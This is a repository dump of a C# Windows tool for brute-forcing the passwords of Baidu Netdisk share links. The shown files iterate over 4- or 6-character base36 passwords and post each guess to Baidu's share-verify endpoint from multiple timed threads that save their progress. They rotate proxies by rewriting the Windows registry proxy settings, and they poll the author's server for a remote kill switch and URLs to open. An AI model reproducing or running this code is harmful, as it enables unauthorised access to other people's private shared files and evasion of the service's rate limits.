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
m10LB/oAAAAASUVORK5CYII=
================================================
FILE: TestPassword V1.8.0.6/TestPassword/Program.cs
================================================
using System;
using System.Threading;
using System.Windows.Forms;
namespace zgcwkj
{
internal static class Program
{
///
/// 应用程序的主入口点。
///
[STAThread]
private static void Main()
{
bool Uniquely_Identifies_TestPassword;
// 在此方法返回时,如果创建了局部互斥体(即,如果 name 为 null 或空字符串)或指定的命名系统互斥体,则包含布尔值 true;
// 如果指定的命名系统互斥体已存在,则为false
using (Mutex mutex = new Mutex(true, Application.ProductName, out Uniquely_Identifies_TestPassword))
{
if (Uniquely_Identifies_TestPassword)
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
if (ServiceVerificat())
{
Application.Run(new Main());
}
}
else//程序已经运行的情况,则弹出消息提示并终止此次运行
{
MessageBox.Show("应用程序已经启动了");
System.Threading.Thread.Sleep(1000);
// 终止此进程并为基础操作系统提供指定的退出代码。
System.Environment.Exit(1);
}
}
}
///
/// 程序服务验证
///
///
private static bool ServiceVerificat()
{
//返回的状态
bool status = false;
try
{
new HttpProxy().SwitchOff();
string Serve = HttpHelp.HttpGet("http://www.zgcwkj.top/TestPassword/Serve.txt");
string[] Serves = Serve.Replace("\r", "").Split('\n');
#region 更新模块
if (Serves.Length >= 1)
{
if (Serves[0] != "")
{
string[] Update = Serves[0].Split('|');
//是否强制更新
if (Convert.ToBoolean(Update[0]))
{
//匹配版本号进行判断
int versions = Convert.ToInt32(Application.ProductVersion.Replace(".", ""));
if (versions < Convert.ToInt32(Update[1]))
{
//提示更新内容
MessageBox.Show(Update[2]);
//通过浏览器跳转
try { System.Diagnostics.Process.Start(Update[3]); } catch { }
//直接终止程序运行
return false;
}
}
}
}
#endregion 更新模块
#region 程序状态
if (Serves.Length >= 2)
{
if (Serves[1] != "")
{
//程序状态
if (Convert.ToBoolean(Serves[1])) { status = true; }
}
}
#endregion 程序状态
#region 提示内容
if (Serves.Length >= 3)
{
if (Serves[2] != "")
{
//提示消息内容
MessageBox.Show(Serves[2]);
}
}
#endregion 提示内容
#region 浏览器跳转
if (Serves.Length >= 4)
{
if (Serves[3] != "")
{
//通过浏览器跳转
try { System.Diagnostics.Process.Start(Serves[3]); } catch { }
}
}
#endregion 浏览器跳转
}
catch (Exception e)
{
string str = e.Message;
MessageBox.Show("请检查网络状态");
status = false;
}
return status;
}
}
}
================================================
FILE: TestPassword V1.8.0.6/TestPassword/Properties/AssemblyInfo.cs
================================================
using System.Reflection;
using System.Runtime.InteropServices;
// 有关程序集的一般信息由以下
// 控制。更改这些特性值可修改
// 与程序集关联的信息。
[assembly: AssemblyTitle("百度网盘分享文件密码测试器")]
[assembly: AssemblyDescription("百度网盘分享文件密码进行无穷测试工具")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("zgcwkj")]
[assembly: AssemblyProduct("百度网盘分享文件密码测试器")]
[assembly: AssemblyCopyright("Copyright © 2018")]
[assembly: AssemblyTrademark("zgcwkj")]
[assembly: AssemblyCulture("")]
//将 ComVisible 设置为 false 将使此程序集中的类型
//对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型,
//请将此类型的 ComVisible 特性设置为 true。
[assembly: ComVisible(false)]
// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
[assembly: Guid("ac42684f-60e0-464c-881d-b679da8d8a7b")]
// 程序集的版本信息由下列四个值组成:
//
// 主版本
// 次版本
// 生成号
// 修订号
//
//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值,
// 方法是按如下所示使用“*”: :
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.8.0.6")]
[assembly: AssemblyFileVersion("1.8.0.6")]
================================================
FILE: TestPassword V1.8.0.6/TestPassword/Properties/Resources.Designer.cs
================================================
//------------------------------------------------------------------------------
//
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将会丢失。
//
//------------------------------------------------------------------------------
namespace zgcwkj.Properties {
using System;
///
/// 一个强类型的资源类,用于查找本地化的字符串等。
///
// 此类是由 StronglyTypedResourceBuilder
// 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
// 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
// (以 /str 作为命令选项),或重新生成 VS 项目。
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
///
/// 返回此类使用的缓存的 ResourceManager 实例。
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("zgcwkj.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
///
/// 使用此强类型资源类,为所有资源查找
/// 重写当前线程的 CurrentUICulture 属性。
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
}
}
================================================
FILE: TestPassword V1.8.0.6/TestPassword/Properties/Resources.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
================================================
FILE: TestPassword V1.8.0.6/TestPassword/Properties/Settings.Designer.cs
================================================
//------------------------------------------------------------------------------
//
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将会丢失。
//
//------------------------------------------------------------------------------
namespace zgcwkj.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default {
get {
return defaultInstance;
}
}
}
}
================================================
FILE: TestPassword V1.8.0.6/TestPassword/Properties/Settings.settings
================================================
================================================
FILE: TestPassword V1.8.0.6/TestPassword/StaticClass.cs
================================================
using System;
using System.IO;
using System.Net;
using System.Text;
namespace zgcwkj
{
///
/// 静态类
///
public static class StaticClass
{
#region 静态字符串
///
/// 线程状态
///
public static bool status { get; set; }
///
/// 目标连接
///
public static string url { get; set; }
///
/// 项目的路径
///
public static string file { get; set; }
///
/// 配置文件的路径
///
public static string config { get; set; }
///
/// 代理文件的路径
///
public static string proxy { get; set; }
#endregion 静态字符串
#region 静态方法
///
/// Get请求
///
public static string HttpGet(string Url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
try
{
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception e)
{
return e.Message;
}
}
#endregion 静态方法
}
}
================================================
FILE: TestPassword V1.8.0.6/TestPassword/TestPassword.csproj
================================================
Debug
AnyCPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}
WinExe
Properties
zgcwkj
TestPassword
v4.0
512
AnyCPU
true
full
false
bin\Debug\
DEBUG;TRACE
prompt
4
AnyCPU
pdbonly
true
bin\Release\
TRACE
prompt
4
ico.ico
Form
Main.cs
Main.cs
ResXFileCodeGenerator
Resources.Designer.cs
Designer
True
Resources.resx
True
SettingsSingleFileGenerator
Settings.Designer.cs
True
Settings.settings
True
================================================
FILE: TestPassword V1.8.0.6/TestPassword.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.23107.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestPassword", "TestPassword\TestPassword.csproj", "{AC42684F-60E0-464C-881D-B679DA8D8A7B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
================================================
FILE: TestPassword V1.8.1.0/TestPassword/Hash.cs
================================================
using System;
namespace zgcwkj
{
public static class Hash
{
//哈希类 36进制
//有效哈希[10000000,11679615]
#region 只支持4位 By MXWXZ
public static string HashTo4Str(int hash)
{
string ret = "";
hash -= 10000000;
while (hash > 0)
{
ret += Hash2Char(hash % 36);
hash /= 36;
}
if (ret.Length == 3) ret += "0";//前导零
if (ret.Length == 2) ret += "00";
if (ret.Length == 1) ret += "000";
if (ret.Length == 0) ret += "0000";
return reverse(ret);
}
public static int StrTo4Hash(string str)
{
int ret = 0;
ret += Char2Hash(str[0]) * 46656;
ret += Char2Hash(str[1]) * 1296;
ret += Char2Hash(str[2]) * 36;
ret += Char2Hash(str[3]);
ret += 10000000;//防止前导零
return ret;
}
#endregion 只支持4位 By MXWXZ
#region 只支持6位 By zgcwkj
public static string HashTo6Str(int hash)
{
string ret = "";
hash -= 100000;
while (hash > 0)
{
ret += Hash2Char(hash % 36);
hash /= 36;
}
if (ret.Length == 5) ret += "0";//前导零
if (ret.Length == 4) ret += "00";
if (ret.Length == 3) ret += "000";
if (ret.Length == 2) ret += "0000";
if (ret.Length == 1) ret += "00000";
if (ret.Length == 0) ret += "000000";
return reverse(ret);
}
public static int StrTo6Hash(string str)
{
int ret = 0;
ret += Char2Hash(str[0]) * 60466176;
ret += Char2Hash(str[1]) * 1679616;
ret += Char2Hash(str[2]) * 46656;
ret += Char2Hash(str[3]) * 1296;
ret += Char2Hash(str[4]) * 36;
ret += Char2Hash(str[5]);
ret += 100000;//防止前导零
return ret;
}
#endregion 只支持6位 By zgcwkj
private static int Char2Hash(char c)
{
if (c >= '0' && c <= '9') return c - '0';
else return c - 'a' + 10;
}
private static char Hash2Char(int hash)
{
if (hash >= 0 && hash <= 9) return (char)('0' + hash);
else return (char)('a' + hash - 10);
}
private static string reverse(string str)
{
char[] arr = str.ToCharArray();
Array.Reverse(arr);
return new string(arr);
}
}
}
================================================
FILE: TestPassword V1.8.1.0/TestPassword/HttpHelp.cs
================================================
using System;
using System.IO;
using System.Net;
using System.Text;
namespace zgcwkj
{
///
/// 网络请求帮助类
///
public static class HttpHelp
{
public static CookieContainer cookie = new CookieContainer();
#region Get请求
///
/// 请求路径
///
/// 请求的路径
/// 返回请求的网页数据
public static string HttpGet(string Url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
request.CookieContainer = cookie;
try
{
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception e)
{
throw e;
}
}
#endregion Get请求
#region Post请求
///
/// 提交数据
///
/// 提交的路径
/// 提交的数据
/// 返回结果
public static string HttpPost(string Url, string Data)
{
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
request.Referer = Url;
request.ContentLength = Encoding.UTF8.GetByteCount(Data);
request.CookieContainer = cookie;
request.Method = "POST";
Stream myRequestStream = request.GetRequestStream();
byte[] postBytes = Encoding.UTF8.GetBytes(Data);
myRequestStream.Write(postBytes, 0, postBytes.Length);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
response.Cookies = cookie.GetCookies(response.ResponseUri);
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception ex)
{
throw ex;
}
}
#endregion Post请求
}
}
================================================
FILE: TestPassword V1.8.1.0/TestPassword/HttpProxy.cs
================================================
using Microsoft.Win32;
using System;
using System.IO;
namespace zgcwkj
{
public class HttpProxy
{
#region 启动IP代理服务
///
/// 启动IP代理服务
///
/// 次/回
///
public bool startUp(int bout)
{
StaticClass.proxys = File.ReadAllText(StaticClass.proxy).Replace("\r", "").Split('\n');
//关闭代理服务
if (GetSwitchState()) SwitchOff();
//获取电脑之前记录的代理IP
string ip = GetProxyIp();
//通过API获取代理数据
try
{
ip = StaticClass.proxys[bout];
}
catch (Exception e)
{
string str = e.Message;
}
//设置代理IP
SwitchOn(ip);
//验证代理IP能否使用
try
{
HttpHelp.HttpGet("https://blog.zgcwkj.top");
return true;
}
catch (Exception e)
{
string str = e.Message;
SwitchOff();
if (StaticClass.proxys.Length - 1 >= bout + 1)
{
startUp(bout + 1);
}
}
return false;
}
#endregion 启动IP代理服务
#region 通过注册表修改代理服务
//注册表位置
private string reg_path = @"Microsoft\Windows\CurrentVersion\Internet Settings";
//Key名称
private string key_name = "ProxyServer";
//switch名称
private string switch_name = "ProxyEnable";
//启动代理
public void SwitchOn(string ip_port)
{
SetRegValue(reg_path, key_name, ip_port);
SetRegValue(reg_path, switch_name, 1);
}
//停止代理
public void SwitchOff()
{
SetRegValue(reg_path, switch_name, 0);
}
//获取代理状态
public bool GetSwitchState()
{
return GetRegValue(reg_path, switch_name) == "1";
}
//获取代理IP
public string GetProxyIp()
{
return GetRegValue(reg_path, key_name);
}
private void SetRegValue(string path, string name, T value)
{
RegistryKey expr_05 = Registry.CurrentUser;
RegistryKey expr_17 = expr_05.OpenSubKey(@"Software\" + path, true);
expr_17.SetValue(name, value);
expr_17.Close();
expr_05.Close();
}
private string GetRegValue(string path, string name)
{
string result = string.Empty;
RegistryKey currentUser = Registry.CurrentUser;
RegistryKey registryKey = currentUser.OpenSubKey("Software\\" + path);
if (registryKey == null)
{
return null;
}
object value = registryKey.GetValue(name);
if (value != null)
{
result = value.ToString();
}
registryKey.Close();
currentUser.Close();
return result;
}
#endregion 通过注册表修改代理服务
}
}
================================================
FILE: TestPassword V1.8.1.0/TestPassword/HttpTest.cs
================================================
using System;
using System.IO;
using System.Net;
using System.Text;
namespace zgcwkj
{
///
/// Http测试类(百度网盘分享连接密码测试)
///
public class HttpTest
{
private string info = "";//唯一识别文件的值
///
/// 实例测试类
///
/// 访问的链接
public HttpTest(string url)
{
info = "surl=" + url.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", "");
}
///
/// 访问网页
///
///
public string Get()
{
return HttpGet("https://pan.baidu.com/share/init?" + info);
}
///
/// 提交密码
///
/// 密码
///
public string Post(string pwd)
{
DateTime time = DateTime.Now;
DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0));
string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();
string url = "https://pan.baidu.com/share/verify?" + info + "&t=" + ts.ToString() + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==";
string data = "pwd=" + pwd + "&vcode=&vcode_str=";
return HttpPost(url, data);
}
#region 网络请求
private CookieContainer cookie = new CookieContainer();
#region Get请求
///
/// 请求路径
///
/// 请求的路径
/// 返回请求的网页数据
private string HttpGet(string Url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
request.CookieContainer = cookie;
try
{
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception e)
{
return e.Message;
}
}
#endregion Get请求
#region Post请求
///
/// 提交数据
///
/// 提交的路径
/// 提交的数据
/// 返回结果
private string HttpPost(string Url, string Data)
{
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
request.Referer = "https://pan.baidu.com/share/init?" + info;
request.ContentLength = Encoding.UTF8.GetByteCount(Data);
request.CookieContainer = cookie;
request.Method = "POST";
Stream myRequestStream = request.GetRequestStream();
byte[] postBytes = Encoding.UTF8.GetBytes(Data);
myRequestStream.Write(postBytes, 0, postBytes.Length);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
response.Cookies = cookie.GetCookies(response.ResponseUri);
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception ex)
{
return ex.Message;
}
}
#endregion Post请求
#endregion 网络请求
}
}
================================================
FILE: TestPassword V1.8.1.0/TestPassword/HttpThread.cs
================================================
using System;
using System.IO;
using System.Timers;
namespace zgcwkj
{
public class HttpThread
{
private Main myMain;//主窗体
private int StartValue = 0;//基值
private int NumberValue = 0;//剩余次数
private Timer timer;//线程
private string ThreadID;//线程ID
///
/// http请求线程类
///
/// 主窗体
/// 线程名称
/// 开始值
/// 结束值
/// 线程速度
public HttpThread(Main main, string name, int start, int number, int interval)
{
myMain = main;
StartValue = start;
NumberValue = number;
ThreadID = StaticClass.file + "/" + name;
timer = new Timer(interval);
}
///
/// 启动线程
///
///
public HttpThread Start()
{
#region 载入历史参数
try
{
if (File.Exists(ThreadID + ".ini"))
{
string _start = File.ReadAllText(ThreadID + ".ini");
if (_start != "") StartValue = Convert.ToInt32(_start);
}
}
catch { }
#endregion 载入历史参数
timer.Elapsed += new ElapsedEventHandler(_Timer);
timer.Start();
return this;
}
private void _Timer(object sender, ElapsedEventArgs e)
{
Timer timer = sender as Timer;
if (NumberValue < StartValue || StaticClass.status)
{
#region 保存历史参数
try
{
File.Delete(ThreadID + ".ini");
File.AppendAllText(ThreadID + ".ini", StartValue.ToString());
}
catch { }
#endregion 保存历史参数
timer.Stop();
}
else
{
string password = Hash.HashTo4Str(StartValue);
HttpTest httptest = new HttpTest(StaticClass.url);
myMain.ModifyStr(httptest.Post(password), password);
StartValue = StartValue + 1;
}
}
}
}
================================================
FILE: TestPassword V1.8.1.0/TestPassword/Main.Designer.cs
================================================
namespace zgcwkj
{
partial class Main
{
///
/// 必需的设计器变量。
///
private System.ComponentModel.IContainer components = null;
///
/// 清理所有正在使用的资源。
///
/// 如果应释放托管资源,为 true;否则为 false。
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows 窗体设计器生成的代码
///
/// 设计器支持所需的方法 - 不要修改
/// 使用代码编辑器修改此方法的内容。
///
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));
this.txt_url = new System.Windows.Forms.Label();
this.text_url = new System.Windows.Forms.TextBox();
this.gb_1 = new System.Windows.Forms.GroupBox();
this.text_zxsd = new System.Windows.Forms.TextBox();
this.text_xczs = new System.Windows.Forms.TextBox();
this.text_jsd = new System.Windows.Forms.TextBox();
this.text_ksd = new System.Windows.Forms.TextBox();
this.txt_zxsd = new System.Windows.Forms.Label();
this.txt_xczs = new System.Windows.Forms.Label();
this.txt_jsd = new System.Windows.Forms.Label();
this.txt_ksd = new System.Windows.Forms.Label();
this.txt_ts = new System.Windows.Forms.Label();
this.btn_start = new System.Windows.Forms.Button();
this.fBD = new System.Windows.Forms.FolderBrowserDialog();
this.btn_status = new System.Windows.Forms.Button();
this.btn_net = new System.Windows.Forms.Button();
this.cB_ktwo = new System.Windows.Forms.CheckBox();
this.cB_mxwxz = new System.Windows.Forms.CheckBox();
this.CB_zgcwkj = new System.Windows.Forms.CheckBox();
this.cB_ypsuperkey = new System.Windows.Forms.CheckBox();
this.gb_1.SuspendLayout();
this.SuspendLayout();
//
// txt_url
//
this.txt_url.AutoSize = true;
this.txt_url.Location = new System.Drawing.Point(12, 14);
this.txt_url.Name = "txt_url";
this.txt_url.Size = new System.Drawing.Size(65, 12);
this.txt_url.TabIndex = 0;
this.txt_url.Text = "目标地址:";
//
// text_url
//
this.text_url.Location = new System.Drawing.Point(83, 10);
this.text_url.Name = "text_url";
this.text_url.Size = new System.Drawing.Size(389, 21);
this.text_url.TabIndex = 1;
//
// gb_1
//
this.gb_1.Controls.Add(this.text_zxsd);
this.gb_1.Controls.Add(this.text_xczs);
this.gb_1.Controls.Add(this.text_jsd);
this.gb_1.Controls.Add(this.text_ksd);
this.gb_1.Controls.Add(this.txt_zxsd);
this.gb_1.Controls.Add(this.txt_xczs);
this.gb_1.Controls.Add(this.txt_jsd);
this.gb_1.Controls.Add(this.txt_ksd);
this.gb_1.Location = new System.Drawing.Point(12, 37);
this.gb_1.Name = "gb_1";
this.gb_1.Size = new System.Drawing.Size(460, 73);
this.gb_1.TabIndex = 2;
this.gb_1.TabStop = false;
this.gb_1.Text = "相关配置";
//
// text_zxsd
//
this.text_zxsd.Location = new System.Drawing.Point(321, 17);
this.text_zxsd.MaxLength = 4;
this.text_zxsd.Name = "text_zxsd";
this.text_zxsd.Size = new System.Drawing.Size(131, 21);
this.text_zxsd.TabIndex = 5;
this.text_zxsd.Text = "200";
this.text_zxsd.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);
//
// text_xczs
//
this.text_xczs.Location = new System.Drawing.Point(93, 17);
this.text_xczs.MaxLength = 4;
this.text_xczs.Name = "text_xczs";
this.text_xczs.Size = new System.Drawing.Size(131, 21);
this.text_xczs.TabIndex = 4;
this.text_xczs.Text = "100";
this.text_xczs.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);
//
// text_jsd
//
this.text_jsd.Location = new System.Drawing.Point(321, 43);
this.text_jsd.MaxLength = 4;
this.text_jsd.Name = "text_jsd";
this.text_jsd.Size = new System.Drawing.Size(131, 21);
this.text_jsd.TabIndex = 7;
this.text_jsd.Text = "zzzz";
//
// text_ksd
//
this.text_ksd.Location = new System.Drawing.Point(93, 43);
this.text_ksd.MaxLength = 4;
this.text_ksd.Name = "text_ksd";
this.text_ksd.Size = new System.Drawing.Size(131, 21);
this.text_ksd.TabIndex = 6;
this.text_ksd.Text = "0000";
//
// txt_zxsd
//
this.txt_zxsd.AutoSize = true;
this.txt_zxsd.Location = new System.Drawing.Point(232, 20);
this.txt_zxsd.Name = "txt_zxsd";
this.txt_zxsd.Size = new System.Drawing.Size(89, 12);
this.txt_zxsd.TabIndex = 1;
this.txt_zxsd.Text = "线程执行速度:";
//
// txt_xczs
//
this.txt_xczs.AutoSize = true;
